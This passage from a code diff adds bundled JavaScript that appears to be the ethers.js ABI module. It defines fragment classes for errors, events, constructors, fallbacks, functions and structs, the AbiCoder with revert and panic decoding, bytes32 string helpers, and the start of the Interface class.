[[ErrorFragment]]. + */ + static isError(value) { + return ErrorFragment.isFragment(value); + } + /** + * Returns true if %%value%% is an [[EventFragment]]. + */ + static isEvent(value) { + return EventFragment.isFragment(value); + } + /** + * Returns true if %%value%% is a [[FunctionFragment]]. + */ + static isFunction(value) { + return FunctionFragment.isFragment(value); + } + /** + * Returns true if %%value%% is a [[StructFragment]]. + */ + static isStruct(value) { + return StructFragment.isFragment(value); + } +} +/** + * An abstract class to represent An individual fragment + * which has a name from a parse ABI. + */ +class NamedFragment extends Fragment { + /** + * The name of the fragment. + */ + name; + /** + * @private + */ + constructor(guard, type, name, inputs) { + super(guard, type, inputs); + assertArgument(typeof (name) === "string" && name.match(regexId), "invalid identifier", "name", name); + inputs = Object.freeze(inputs.slice()); + defineProperties(this, { name }); + } +} +function joinParams(format, params) { + return "(" + params.map((p) => p.format(format)).join((format === "full") ? ", " : ",") + ")"; +} +/** + * A Fragment which represents a //Custom Error//. + */ +class ErrorFragment extends NamedFragment { + /** + * @private + */ + constructor(guard, name, inputs) { + super(guard, "error", name, inputs); + Object.defineProperty(this, internal$1, { value: ErrorFragmentInternal }); + } + /** + * The Custom Error selector. + */ + get selector() { + return id(this.format("sighash")).substring(0, 10); + } + /** + * Returns a string representation of this fragment as %%format%%. + */ + format(format) { + if (format == null) { + format = "sighash"; + } + if (format === "json") { + return JSON.stringify({ + type: "error", + name: this.name, + inputs: this.inputs.map((input) => JSON.parse(input.format(format))), + }); + } + const result = []; + if (format !== "sighash") { + result.push("error"); + } + result.push(this.name + joinParams(format, this.inputs)); + return result.join(" "); + } + /** + * Returns a new **ErrorFragment** for %%obj%%. + */ + static from(obj) { + if (ErrorFragment.isFragment(obj)) { + return obj; + } + if (typeof (obj) === "string") { + return ErrorFragment.from(lex(obj)); + } + else if (obj instanceof TokenString) { + const name = consumeName("error", obj); + const inputs = consumeParams(obj); + consumeEoi(obj); + return new ErrorFragment(_guard$2, name, inputs); + } + return new ErrorFragment(_guard$2, obj.name, obj.inputs ? obj.inputs.map(ParamType.from) : []); + } + /** + * Returns ``true`` and provides a type guard if %%value%% is an + * **ErrorFragment**. + */ + static isFragment(value) { + return (value && value[internal$1] === ErrorFragmentInternal); + } +} +/** + * A Fragment which represents an Event. + */ +class EventFragment extends NamedFragment { + /** + * Whether this event is anonymous. + */ + anonymous; + /** + * @private + */ + constructor(guard, name, inputs, anonymous) { + super(guard, "event", name, inputs); + Object.defineProperty(this, internal$1, { value: EventFragmentInternal }); + defineProperties(this, { anonymous }); + } + /** + * The Event topic hash. + */ + get topicHash() { + return id(this.format("sighash")); + } + /** + * Returns a string representation of this event as %%format%%. + */ + format(format) { + if (format == null) { + format = "sighash"; + } + if (format === "json") { + return JSON.stringify({ + type: "event", + anonymous: this.anonymous, + name: this.name, + inputs: this.inputs.map((i) => JSON.parse(i.format(format))) + }); + } + const result = []; + if (format !== "sighash") { + result.push("event"); + } + result.push(this.name + joinParams(format, this.inputs)); + if (format !== "sighash" && this.anonymous) { + result.push("anonymous"); + } + return result.join(" "); + } + /** + * Return the topic hash for an event with %%name%% and %%params%%. + */ + static getTopicHash(name, params) { + params = (params || []).map((p) => ParamType.from(p)); + const fragment = new EventFragment(_guard$2, name, params, false); + return fragment.topicHash; + } + /** + * Returns a new **EventFragment** for %%obj%%. + */ + static from(obj) { + if (EventFragment.isFragment(obj)) { + return obj; + } + if (typeof (obj) === "string") { + try { + return EventFragment.from(lex(obj)); + } + catch (error) { + assertArgument(false, "invalid event fragment", "obj", obj); + } + } + else if (obj instanceof TokenString) { + const name = consumeName("event", obj); + const inputs = consumeParams(obj, true); + const anonymous = !!consumeKeywords(obj, setify(["anonymous"])).has("anonymous"); + consumeEoi(obj); + return new EventFragment(_guard$2, name, inputs, anonymous); + } + return new EventFragment(_guard$2, obj.name, obj.inputs ? obj.inputs.map((p) => ParamType.from(p, true)) : [], !!obj.anonymous); + } + /** + * Returns ``true`` and provides a type guard if %%value%% is an + * **EventFragment**. + */ + static isFragment(value) { + return (value && value[internal$1] === EventFragmentInternal); + } +} +/** + * A Fragment which represents a constructor. + */ +class ConstructorFragment extends Fragment { + /** + * Whether the constructor can receive an endowment. + */ + payable; + /** + * The recommended gas limit for deployment or ``null``. + */ + gas; + /** + * @private + */ + constructor(guard, type, inputs, payable, gas) { + super(guard, type, inputs); + Object.defineProperty(this, internal$1, { value: ConstructorFragmentInternal }); + defineProperties(this, { payable, gas }); + } + /** + * Returns a string representation of this constructor as %%format%%. + */ + format(format) { + assert(format != null && format !== "sighash", "cannot format a constructor for sighash", "UNSUPPORTED_OPERATION", { operation: "format(sighash)" }); + if (format === "json") { + return JSON.stringify({ + type: "constructor", + stateMutability: (this.payable ? "payable" : "undefined"), + payable: this.payable, + gas: ((this.gas != null) ? this.gas : undefined), + inputs: this.inputs.map((i) => JSON.parse(i.format(format))) + }); + } + const result = [`constructor${joinParams(format, this.inputs)}`]; + if (this.payable) { + result.push("payable"); + } + if (this.gas != null) { + result.push(`@${this.gas.toString()}`); + } + return result.join(" "); + } + /** + * Returns a new **ConstructorFragment** for %%obj%%. + */ + static from(obj) { + if (ConstructorFragment.isFragment(obj)) { + return obj; + } + if (typeof (obj) === "string") { + try { + return ConstructorFragment.from(lex(obj)); + } + catch (error) { + assertArgument(false, "invalid constuctor fragment", "obj", obj); + } + } + else if (obj instanceof TokenString) { + consumeKeywords(obj, setify(["constructor"])); + const inputs = consumeParams(obj); + const payable = !!consumeKeywords(obj, KwVisibDeploy).has("payable"); + const gas = consumeGas(obj); + consumeEoi(obj); + return new ConstructorFragment(_guard$2, "constructor", inputs, payable, gas); + } + return new ConstructorFragment(_guard$2, "constructor", obj.inputs ? obj.inputs.map(ParamType.from) : [], !!obj.payable, (obj.gas != null) ? obj.gas : null); + } + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **ConstructorFragment**. + */ + static isFragment(value) { + return (value && value[internal$1] === ConstructorFragmentInternal); + } +} +/** + * A Fragment which represents a method. + */ +class FallbackFragment extends Fragment { + /** + * If the function can be sent value during invocation. + */ + payable; + constructor(guard, inputs, payable) { + super(guard, "fallback", inputs); + Object.defineProperty(this, internal$1, { value: FallbackFragmentInternal }); + defineProperties(this, { payable }); + } + /** + * Returns a string representation of this fallback as %%format%%. + */ + format(format) { + const type = ((this.inputs.length === 0) ? "receive" : "fallback"); + if (format === "json") { + const stateMutability = (this.payable ? "payable" : "nonpayable"); + return JSON.stringify({ type, stateMutability }); + } + return `${type}()${this.payable ? " payable" : ""}`; + } + /** + * Returns a new **FallbackFragment** for %%obj%%. + */ + static from(obj) { + if (FallbackFragment.isFragment(obj)) { + return obj; + } + if (typeof (obj) === "string") { + try { + return FallbackFragment.from(lex(obj)); + } + catch (error) { + assertArgument(false, "invalid fallback fragment", "obj", obj); + } + } + else if (obj instanceof TokenString) { + const errorObj = obj.toString(); + const topIsValid = obj.peekKeyword(setify(["fallback", "receive"])); + assertArgument(topIsValid, "type must be fallback or receive", "obj", errorObj); + const type = obj.popKeyword(setify(["fallback", "receive"])); + // receive() + if (type === "receive") { + const inputs = consumeParams(obj); + assertArgument(inputs.length === 0, `receive cannot have arguments`, "obj.inputs", inputs); + consumeKeywords(obj, setify(["payable"])); + consumeEoi(obj); + return new FallbackFragment(_guard$2, [], true); + } + // fallback() [payable] + // fallback(bytes) [payable] returns (bytes) + let inputs = consumeParams(obj); + if (inputs.length) { + assertArgument(inputs.length === 1 && inputs[0].type === "bytes", "invalid fallback inputs", "obj.inputs", inputs.map((i) => i.format("minimal")).join(", ")); + } + else { + inputs = [ParamType.from("bytes")]; + } + const mutability = consumeMutability(obj); + assertArgument(mutability === "nonpayable" || mutability === "payable", "fallback cannot be constants", "obj.stateMutability", mutability); + if (consumeKeywords(obj, setify(["returns"])).has("returns")) { + const outputs = consumeParams(obj); + assertArgument(outputs.length === 1 && outputs[0].type === "bytes", "invalid fallback outputs", "obj.outputs", outputs.map((i) => i.format("minimal")).join(", ")); + } + consumeEoi(obj); + return new FallbackFragment(_guard$2, inputs, mutability === "payable"); + } + if (obj.type === "receive") { + return new FallbackFragment(_guard$2, [], true); + } + if (obj.type === "fallback") { + const inputs = [ParamType.from("bytes")]; + const payable = (obj.stateMutability === "payable"); + return new FallbackFragment(_guard$2, inputs, payable); + } + assertArgument(false, "invalid fallback description", "obj", obj); + } + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **FallbackFragment**. + */ + static isFragment(value) { + return (value && value[internal$1] === FallbackFragmentInternal); + } +} +/** + * A Fragment which represents a method. + */ +class FunctionFragment extends NamedFragment { + /** + * If the function is constant (e.g. ``pure`` or ``view`` functions). + */ + constant; + /** + * The returned types for the result of calling this function. + */ + outputs; + /** + * The state mutability (e.g. ``payable``, ``nonpayable``, ``view`` + * or ``pure``) + */ + stateMutability; + /** + * If the function can be sent value during invocation. + */ + payable; + /** + * The recommended gas limit to send when calling this function. + */ + gas; + /** + * @private + */ + constructor(guard, name, stateMutability, inputs, outputs, gas) { + super(guard, "function", name, inputs); + Object.defineProperty(this, internal$1, { value: FunctionFragmentInternal }); + outputs = Object.freeze(outputs.slice()); + const constant = (stateMutability === "view" || stateMutability === "pure"); + const payable = (stateMutability === "payable"); + defineProperties(this, { constant, gas, outputs, payable, stateMutability }); + } + /** + * The Function selector. + */ + get selector() { + return id(this.format("sighash")).substring(0, 10); + } + /** + * Returns a string representation of this function as %%format%%. + */ + format(format) { + if (format == null) { + format = "sighash"; + } + if (format === "json") { + return JSON.stringify({ + type: "function", + name: this.name, + constant: this.constant, + stateMutability: ((this.stateMutability !== "nonpayable") ? this.stateMutability : undefined), + payable: this.payable, + gas: ((this.gas != null) ? this.gas : undefined), + inputs: this.inputs.map((i) => JSON.parse(i.format(format))), + outputs: this.outputs.map((o) => JSON.parse(o.format(format))), + }); + } + const result = []; + if (format !== "sighash") { + result.push("function"); + } + result.push(this.name + joinParams(format, this.inputs)); + if (format !== "sighash") { + if (this.stateMutability !== "nonpayable") { + result.push(this.stateMutability); + } + if (this.outputs && this.outputs.length) { + result.push("returns"); + result.push(joinParams(format, this.outputs)); + } + if (this.gas != null) { + result.push(`@${this.gas.toString()}`); + } + } + return result.join(" "); + } + /** + * Return the selector for a function with %%name%% and %%params%%. + */ + static getSelector(name, params) { + params = (params || []).map((p) => ParamType.from(p)); + const fragment = new FunctionFragment(_guard$2, name, "view", params, [], null); + return fragment.selector; + } + /** + * Returns a new **FunctionFragment** for %%obj%%. + */ + static from(obj) { + if (FunctionFragment.isFragment(obj)) { + return obj; + } + if (typeof (obj) === "string") { + try { + return FunctionFragment.from(lex(obj)); + } + catch (error) { + assertArgument(false, "invalid function fragment", "obj", obj); + } + } + else if (obj instanceof TokenString) { + const name = consumeName("function", obj); + const inputs = consumeParams(obj); + const mutability = consumeMutability(obj); + let outputs = []; + if (consumeKeywords(obj, setify(["returns"])).has("returns")) { + outputs = consumeParams(obj); + } + const gas = consumeGas(obj); + consumeEoi(obj); + return new FunctionFragment(_guard$2, name, mutability, inputs, outputs, gas); + } + let stateMutability = obj.stateMutability; + // Use legacy Solidity ABI logic if stateMutability is missing + if (stateMutability == null) { + stateMutability = "payable"; + if (typeof (obj.constant) === "boolean") { + stateMutability = "view"; + if (!obj.constant) { + stateMutability = "payable"; + if (typeof (obj.payable) === "boolean" && !obj.payable) { + stateMutability = "nonpayable"; + } + } + } + else if (typeof (obj.payable) === "boolean" && !obj.payable) { + stateMutability = "nonpayable"; + } + } + // @TODO: verifyState for stateMutability (e.g. throw if + // payable: false but stateMutability is "nonpayable") + return new FunctionFragment(_guard$2, obj.name, stateMutability, obj.inputs ? obj.inputs.map(ParamType.from) : [], obj.outputs ? obj.outputs.map(ParamType.from) : [], (obj.gas != null) ? obj.gas : null); + } + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **FunctionFragment**. + */ + static isFragment(value) { + return (value && value[internal$1] === FunctionFragmentInternal); + } +} +/** + * A Fragment which represents a structure. + */ +class StructFragment extends NamedFragment { + /** + * @private + */ + constructor(guard, name, inputs) { + super(guard, "struct", name, inputs); + Object.defineProperty(this, internal$1, { value: StructFragmentInternal }); + } + /** + * Returns a string representation of this struct as %%format%%. + */ + format() { + throw new Error("@TODO"); + } + /** + * Returns a new **StructFragment** for %%obj%%. + */ + static from(obj) { + if (typeof (obj) === "string") { + try { + return StructFragment.from(lex(obj)); + } + catch (error) { + assertArgument(false, "invalid struct fragment", "obj", obj); + } + } + else if (obj instanceof TokenString) { + const name = consumeName("struct", obj); + const inputs = consumeParams(obj); + consumeEoi(obj); + return new StructFragment(_guard$2, name, inputs); + } + return new StructFragment(_guard$2, obj.name, obj.inputs ? obj.inputs.map(ParamType.from) : []); + } + // @TODO: fix this return type + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **StructFragment**. + */ + static isFragment(value) { + return (value && value[internal$1] === StructFragmentInternal); + } +} + +/** + * When sending values to or receiving values from a [[Contract]], the + * data is generally encoded using the [ABI standard](link-solc-abi). + * + * The AbiCoder provides a utility to encode values to ABI data and + * decode values from ABI data. + * + * Most of the time, developers should favour the [[Contract]] class, + * which further abstracts a lot of the finer details of ABI data. + * + * @_section api/abi/abi-coder:ABI Encoding + */ +// See: https://github.com/ethereum/wiki/wiki/Ethereum-Contract-ABI +// https://docs.soliditylang.org/en/v0.8.17/control-structures.html +const PanicReasons$1 = new Map(); +PanicReasons$1.set(0x00, "GENERIC_PANIC"); +PanicReasons$1.set(0x01, "ASSERT_FALSE"); +PanicReasons$1.set(0x11, "OVERFLOW"); +PanicReasons$1.set(0x12, "DIVIDE_BY_ZERO"); +PanicReasons$1.set(0x21, "ENUM_RANGE_ERROR"); +PanicReasons$1.set(0x22, "BAD_STORAGE_DATA"); +PanicReasons$1.set(0x31, "STACK_UNDERFLOW"); +PanicReasons$1.set(0x32, "ARRAY_RANGE_ERROR"); +PanicReasons$1.set(0x41, "OUT_OF_MEMORY"); +PanicReasons$1.set(0x51, "UNINITIALIZED_FUNCTION_CALL"); +const paramTypeBytes = new RegExp(/^bytes([0-9]*)$/); +const paramTypeNumber = new RegExp(/^(u?int)([0-9]*)$/); +let defaultCoder = null; +let defaultMaxInflation = 1024; +function getBuiltinCallException(action, tx, data, abiCoder) { + let message = "missing revert data"; + let reason = null; + const invocation = null; + let revert = null; + if (data) { + message = "execution reverted"; + const bytes = getBytes(data); + data = hexlify(data); + if (bytes.length === 0) { + message += " (no data present; likely require(false) occurred"; + reason = "require(false)"; + } + else if (bytes.length % 32 !== 4) { + message += " (could not decode reason; invalid data length)"; + } + else if (hexlify(bytes.slice(0, 4)) === "0x08c379a0") { + // Error(string) + try { + reason = abiCoder.decode(["string"], bytes.slice(4))[0]; + revert = { + signature: "Error(string)", + name: "Error", + args: [reason] + }; + message += `: ${JSON.stringify(reason)}`; + } + catch (error) { + message += " (could not decode reason; invalid string data)"; + } + } + else if (hexlify(bytes.slice(0, 4)) === "0x4e487b71") { + // Panic(uint256) + try { + const code = Number(abiCoder.decode(["uint256"], bytes.slice(4))[0]); + revert = { + signature: "Panic(uint256)", + name: "Panic", + args: [code] + }; + reason = `Panic due to ${PanicReasons$1.get(code) || "UNKNOWN"}(${code})`; + message += `: ${reason}`; + } + catch (error) { + message += " (could not decode panic code)"; + } + } + else { + message += " (unknown custom error)"; + } + } + const transaction = { + to: (tx.to ? getAddress(tx.to) : null), + data: (tx.data || "0x") + }; + if (tx.from) { + transaction.from = getAddress(tx.from); + } + return makeError(message, "CALL_EXCEPTION", { + action, data, reason, transaction, invocation, revert + }); +} +/** + * The **AbiCoder** is a low-level class responsible for encoding JavaScript + * values into binary data and decoding binary data into JavaScript values. + */ +class AbiCoder { + #getCoder(param) { + if (param.isArray()) { + return new ArrayCoder(this.#getCoder(param.arrayChildren), param.arrayLength, param.name); + } + if (param.isTuple()) { + return new TupleCoder(param.components.map((c) => this.#getCoder(c)), param.name); + } + switch (param.baseType) { + case "address": + return new AddressCoder(param.name); + case "bool": + return new BooleanCoder(param.name); + case "string": + return new StringCoder(param.name); + case "bytes": + return new BytesCoder(param.name); + case "": + return new NullCoder(param.name); + } + // u?int[0-9]* + let match = param.type.match(paramTypeNumber); + if (match) { + let size = parseInt(match[2] || "256"); + assertArgument(size !== 0 && size <= 256 && (size % 8) === 0, "invalid " + match[1] + " bit length", "param", param); + return new NumberCoder(size / 8, (match[1] === "int"), param.name); + } + // bytes[0-9]+ + match = param.type.match(paramTypeBytes); + if (match) { + let size = parseInt(match[1]); + assertArgument(size !== 0 && size <= 32, "invalid bytes length", "param", param); + return new FixedBytesCoder(size, param.name); + } + assertArgument(false, "invalid type", "type", param.type); + } + /** + * Get the default values for the given %%types%%. + * + * For example, a ``uint`` is by default ``0`` and ``bool`` + * is by default ``false``. + */ + getDefaultValue(types) { + const coders = types.map((type) => this.#getCoder(ParamType.from(type))); + const coder = new TupleCoder(coders, "_"); + return coder.defaultValue(); + } + /** + * Encode the %%values%% as the %%types%% into ABI data. + * + * @returns DataHexstring + */ + encode(types, values) { + assertArgumentCount(values.length, types.length, "types/values length mismatch"); + const coders = types.map((type) => this.#getCoder(ParamType.from(type))); + const coder = (new TupleCoder(coders, "_")); + const writer = new Writer(); + coder.encode(writer, values); + return writer.data; + } + /** + * Decode the ABI %%data%% as the %%types%% into values. + * + * If %%loose%% decoding is enabled, then strict padding is + * not enforced. Some older versions of Solidity incorrectly + * padded event data emitted from ``external`` functions. + */ + decode(types, data, loose) { + const coders = types.map((type) => this.#getCoder(ParamType.from(type))); + const coder = new TupleCoder(coders, "_"); + return coder.decode(new Reader(data, loose, defaultMaxInflation)); + } + static _setDefaultMaxInflation(value) { + assertArgument(typeof (value) === "number" && Number.isInteger(value), "invalid defaultMaxInflation factor", "value", value); + defaultMaxInflation = value; + } + /** + * Returns the shared singleton instance of a default [[AbiCoder]]. + * + * On the first call, the instance is created internally. + */ + static defaultAbiCoder() { + if (defaultCoder == null) { + defaultCoder = new AbiCoder(); + } + return defaultCoder; + } + /** + * Returns an ethers-compatible [[CallExceptionError]] Error for the given + * result %%data%% for the [[CallExceptionAction]] %%action%% against + * the Transaction %%tx%%. + */ + static getBuiltinCallException(action, tx, data) { + return getBuiltinCallException(action, tx, data, AbiCoder.defaultAbiCoder()); + } +} + +/** + * About bytes32 strings... + * + * @_docloc: api/utils:Bytes32 Strings + */ +/** + * Encodes %%text%% as a Bytes32 string. + */ +function encodeBytes32String(text) { + // Get the bytes + const bytes = toUtf8Bytes(text); + // Check we have room for null-termination + if (bytes.length > 31) { + throw new Error("bytes32 string must be less than 32 bytes"); + } + // Zero-pad (implicitly null-terminates) + return zeroPadBytes(bytes, 32); +} +/** + * Encodes the Bytes32-encoded %%bytes%% into a string. + */ +function decodeBytes32String(_bytes) { + const data = getBytes(_bytes, "bytes"); + // Must be 32 bytes with a null-termination + if (data.length !== 32) { + throw new Error("invalid bytes32 - not 32 bytes long"); + } + if (data[31] !== 0) { + throw new Error("invalid bytes32 string - no null terminator"); + } + // Find the null termination + let length = 31; + while (data[length - 1] === 0) { + length--; + } + // Determine the string value + return toUtf8String(data.slice(0, length)); +} + +/** + * The Interface class is a low-level class that accepts an + * ABI and provides all the necessary functionality to encode + * and decode paramaters to and results from methods, events + * and errors. + * + * It also provides several convenience methods to automatically + * search and find matching transactions and events to parse them. + * + * @_subsection api/abi:Interfaces [interfaces] + */ +/** + * When using the [[Interface-parseLog]] to automatically match a Log to its event + * for parsing, a **LogDescription** is returned. + */ +class LogDescription { + /** + * The matching fragment for the ``topic0``. + */ + fragment; + /** + * The name of the Event. + */ + name; + /** + * The full Event signature. + */ + signature; + /** + * The topic hash for the Event. + */ + topic; + /** + * The arguments passed into the Event with ``emit``. + */ + args; + /** + * @_ignore: + */ + constructor(fragment, topic, args) { + const name = fragment.name, signature = fragment.format(); + defineProperties(this, { + fragment, name, signature, topic, args + }); + } +} +/** + * When using the [[Interface-parseTransaction]] to automatically match + * a transaction data to its function for parsing, + * a **TransactionDescription** is returned. + */ +class TransactionDescription { + /** + * The matching fragment from the transaction ``data``. + */ + fragment; + /** + * The name of the Function from the transaction ``data``. + */ + name; + /** + * The arguments passed to the Function from the transaction ``data``. + */ + args; + /** + * The full Function signature from the transaction ``data``. + */ + signature; + /** + * The selector for the Function from the transaction ``data``. + */ + selector; + /** + * The ``value`` (in wei) from the transaction. + */ + value; + /** + * @_ignore: + */ + constructor(fragment, selector, args, value) { + const name = fragment.name, signature = fragment.format(); + defineProperties(this, { + fragment, name, args, signature, selector, value + }); + } +} +/** + * When using the [[Interface-parseError]] to automatically match an + * error for a call result for parsing, an **ErrorDescription** is returned. + */ +class ErrorDescription { + /** + * The matching fragment. + */ + fragment; + /** + * The name of the Error. + */ + name; + /** + * The arguments passed to the Error with ``revert``. + */ + args; + /** + * The full Error signature. + */ + signature; + /** + * The selector for the Error. + */ + selector; + /** + * @_ignore: + */ + constructor(fragment, selector, args) { + const name = fragment.name, signature = fragment.format(); + defineProperties(this, { + fragment, name, args, signature, selector + }); + } +} +/** + * An **Indexed** is used as a value when a value that does not + * fit within a topic (i.e. not a fixed-length, 32-byte type). It + * is the ``keccak256`` of the value, and used for types such as + * arrays, tuples, bytes and strings. + */ +class Indexed { + /** + * The ``keccak256`` of the value logged. + */ + hash; + /** + * @_ignore: + */ + _isIndexed; + /** + * Returns ``true`` if %%value%% is an **Indexed**. + * + * This provides a Type Guard for property access. + */ + static isIndexed(value) { + return !!(value && value._isIndexed); + } + /** + * @_ignore: + */ + constructor(hash) { + defineProperties(this, { hash, _isIndexed: true }); + } +} +// https://docs.soliditylang.org/en/v0.8.13/control-structures.html?highlight=panic#panic-via-assert-and-error-via-require +const PanicReasons = { + "0": "generic panic", + "1": "assert(false)", + "17": "arithmetic overflow", + "18": "division or modulo by zero", + "33": "enum overflow", + "34": "invalid encoded storage byte array accessed", + "49": "out-of-bounds array access; popping on an empty array", + "50": "out-of-bounds access of an array or bytesN", + "65": "out of memory", + "81": "uninitialized function", +}; +const BuiltinErrors = { + "0x08c379a0": { + signature: "Error(string)", + name: "Error", + inputs: ["string"], + reason: (message) => { + return `reverted with reason string ${JSON.stringify(message)}`; + } + }, + "0x4e487b71": { + signature: "Panic(uint256)", + name: "Panic", + inputs: ["uint256"], + reason: (code) => { + let reason = "unknown panic code"; + if (code >= 0 && code <= 0xff && PanicReasons[code.toString()]) { + reason = PanicReasons[code.toString()]; + } + return `reverted with panic code 0x${code.toString(16)} (${reason})`; + } + } +}; +/** + * An Interface abstracts many of the low-level details for + * encoding and decoding the data on the blockchain. + * + * An ABI provides information on how to encode data to send to + * a Contract, how to decode the results and events and how to + * interpret revert errors. + * + * The ABI can be specified by [any supported format](InterfaceAbi). + */ +class Interface { + /** + * All the Contract ABI members (i.e. methods, events, errors, etc). + */ + fragments; + /** + * The Contract constructor. + */ + deploy; + /** + * The Fallback method, if any. + */ + fallback; + /** + * If receiving ether is supported. + */ + receive; + #errors; + #events; + #functions; + // #structs: Map; + #abiCoder; + /** + * Create a new Interface for the %%fragments%%. + */ + constructor(fragments) { + let abi = []; + if (typeof (fragments) === "string") { + abi = JSON.parse(fragments); + } + else { + abi = fragments; + } + this.#functions = new Map(); + this.#errors = new Map(); + this.#events = new Map(); + // this.#structs = new Map(); + const frags = []; + for (const a of abi) { + try { + frags.push(Fragment.from(a)); + } + catch (error) { + console.log(`[Warning] Invalid Fragment ${JSON.stringify(a)}:`, error.message); + } + } + defineProperties(this, { + fragments: Object.freeze(frags) + }); + let fallback = null; + let receive = false; + this.#abiCoder = this.getAbiCoder(); + // Add all fragments by their signature + this.fragments.forEach((fragment, index) => { + let bucket; + switch (fragment.type) { + case "constructor": + if (this.deploy) { + console.log("duplicate definition - constructor"); + return; + } + //checkNames(fragment, "input", fragment.inputs); + defineProperties(this, { deploy: fragment }); + return; + case "fallback": + if (fragment.inputs.length === 0) { + receive = true; + } + else { + assertArgument(!fallback || fragment.payable !== fallback.payable, "conflicting fallback fragments", `fragments[${index}]`, fragment); + fallback = fragment; + receive = fallback.payable; + } + return; + case "function": + //checkNames(fragment, "input", fragment.inputs); + //checkNames(fragment, "output", (fragment).outputs); + bucket = this.#functions; + break; + case "event": + //checkNames(fragment, "input", fragment.inputs); + bucket = this.#events; + break; + case "error": + bucket = this.#errors; + break; + default: + return; + } + // Two identical entries; ignore it + const signature = fragment.format(); + if (bucket.has(signature)) { + return; + } + bucket.set(signature, fragment); + }); + // If we do not have a constructor add a default + if (!this.deploy) { + defineProperties(this, { + deploy: ConstructorFragment.from("constructor()") + }); + } + defineProperties(this, { fallback, receive }); + } + /** + * Returns the entire Human-Readable ABI, as an array of + * signatures, optionally as %%minimal%% strings, which + * removes parameter names and unneceesary spaces. + */ + format(minimal) { + const format = (minimal ? "minimal" : "full"); + const abi = this.fragments.map((f) => f.format(format)); + return abi; + } + /** + * Return the JSON-encoded ABI. This is the format Solidiy + * returns. + */ + formatJson() { + const abi = this.fragments.map((f) => f.format("json")); + // We need to re-bundle the JSON fragments a bit + return JSON.stringify(abi.map((j) => JSON.parse(j))); + } + /** + * The ABI coder that will be used to encode and decode binary + * data. + */ + getAbiCoder() { + return AbiCoder.defaultAbiCoder(); + } + // Find a function definition by any means necessary (unless it is ambiguous) + #getFunction(key, values, forceUnique) { + // Selector + if (isHexString(key)) { + const selector = key.toLowerCase(); + for (const fragment of this.#functions.values()) { + if (selector === fragment.selector) { + return fragment; + } + } + return null; + } + // It is a bare name, look up the function (will return null if ambiguous) + if (key.indexOf("(") === -1) { + const matching = []; + for (const [name, fragment] of this.#functions) { + if (name.split("(" /* fix:) */)[0] === key) { + matching.push(fragment); + } + } + if (values) { + const lastValue = (values.length > 0) ? values[values.length - 1] : null; + let valueLength = values.length; + let allowOptions = true; + if (Typed.isTyped(lastValue) && lastValue.type === "overrides") { + allowOptions = false; + valueLength--; + } + // Remove all matches that don't have a compatible length. The args + // may contain an overrides, so the match may have n or n - 1 parameters + for (let i = matching.length - 1; i >= 0; i--) { + const inputs = matching[i].inputs.length; + if (inputs !== valueLength && (!allowOptions || inputs !== valueLength - 1)) { + matching.splice(i, 1); + } + } + // Remove all matches that don't match the Typed signature + for (let i = matching.length - 1; i >= 0; i--) { + const inputs = matching[i].inputs; + for (let j = 0; j < values.length; j++) { + // Not a typed value + if (!Typed.isTyped(values[j])) { + continue; + } + // We are past the inputs + if (j >= inputs.length) { + if (values[j].type === "overrides") { + continue; + } + matching.splice(i, 1); + break; + } + // Make sure the value type matches the input type + if (values[j].type !== inputs[j].baseType) { + matching.splice(i, 1); + break; + } + } + } + } + // We found a single matching signature with an overrides, but the + // last value is something that cannot possibly be an options + if (matching.length === 1 && values && values.length !== matching[0].inputs.length) { + const lastArg = values[values.length - 1]; + if (lastArg == null || Array.isArray(lastArg) || typeof (lastArg) !== "object") { + matching.splice(0, 1); + } + } + if (matching.length === 0) { + return null; + } + if (matching.length > 1 && forceUnique) { + const matchStr = matching.map((m) => JSON.stringify(m.format())).join(", "); + assertArgument(false, `ambiguous function description (i.e. matches ${matchStr})`, "key", key); + } + return matching[0]; + } + // Normalize the signature and lookup the function + const result = this.#functions.get(FunctionFragment.from(key).format()); + if (result) { + return result; + } + return null; + } + /** + * Get the function name for %%key%%, which may be a function selector, + * function name or function signature that belongs to the ABI. + */ + getFunctionName(key) { + const fragment = this.#getFunction(key, null, false); + assertArgument(fragment, "no matching function", "key", key); + return fragment.name; + } + /** + * Returns true if %%key%% (a function selector, function name or + * function signature) is present in the ABI. + * + * In the case of a function name, the name may be ambiguous, so + * accessing the [[FunctionFragment]] may require refinement. + */ + hasFunction(key) { + return !!this.#getFunction(key, null, false); + } + /** + * Get the [[FunctionFragment]] for %%key%%, which may be a function + * selector, function name or function signature that belongs to the ABI. + * + * If %%values%% is provided, it will use the Typed API to handle + * ambiguous cases where multiple functions match by name. + * + * If the %%key%% and %%values%% do not refine to a single function in + * the ABI, this will throw. + */ + getFunction(key, values) { + return this.#getFunction(key, values || null, true); + } + /** + * Iterate over all functions, calling %%callback%%, sorted by their name. + */ + forEachFunction(callback) { + const names = Array.from(this.#functions.keys()); + names.sort((a, b) => a.localeCompare(b)); + for (let i = 0; i < names.length; i++) { + const name = names[i]; + callback((this.#functions.get(name)), i); + } + } + // Find an event definition by any means necessary (unless it is ambiguous) + #getEvent(key, values, forceUnique) { + // EventTopic + if (isHexString(key)) { + const eventTopic = key.toLowerCase(); + for (const fragment of this.#events.values()) { + if (eventTopic === fragment.topicHash) { + return fragment; + } + } + return null; + } + // It is a bare name, look up the function (will return null if ambiguous) + if (key.indexOf("(") === -1) { + const matching = []; + for (const [name, fragment] of this.#events) { + if (name.split("(" /* fix:) */)[0] === key) { + matching.push(fragment); + } + } + if (values) { + // Remove all matches that don't have a compatible length. + for (let i = matching.length - 1; i >= 0; i--) { + if (matching[i].inputs.length < values.length) { + matching.splice(i, 1); + } + } + // Remove all matches that don't match the Typed signature + for (let i = matching.length - 1; i >= 0; i--) { + const inputs = matching[i].inputs; + for (let j = 0; j < values.length; j++) { + // Not a typed value + if (!Typed.isTyped(values[j])) { + continue; + } + // Make sure the value type matches the input type + if (values[j].type !== inputs[j].baseType) { + matching.splice(i, 1); + break; + } + } + } + } + if (matching.length === 0) { + return null; + } + if (matching.length > 1 && forceUnique) { + const matchStr = matching.map((m) => JSON.stringify(m.format())).join(", "); + assertArgument(false, `ambiguous event description (i.e. matches ${matchStr})`, "key", key); + } + return matching[0]; + } + // Normalize the signature and lookup the function + const result = this.#events.get(EventFragment.from(key).format()); + if (result) { + return result; + } + return null; + } + /** + * Get the event name for %%key%%, which may be a topic hash, + * event name or event signature that belongs to the ABI. + */ + getEventName(key) { + const fragment = this.#getEvent(key, null, false); + assertArgument(fragment, 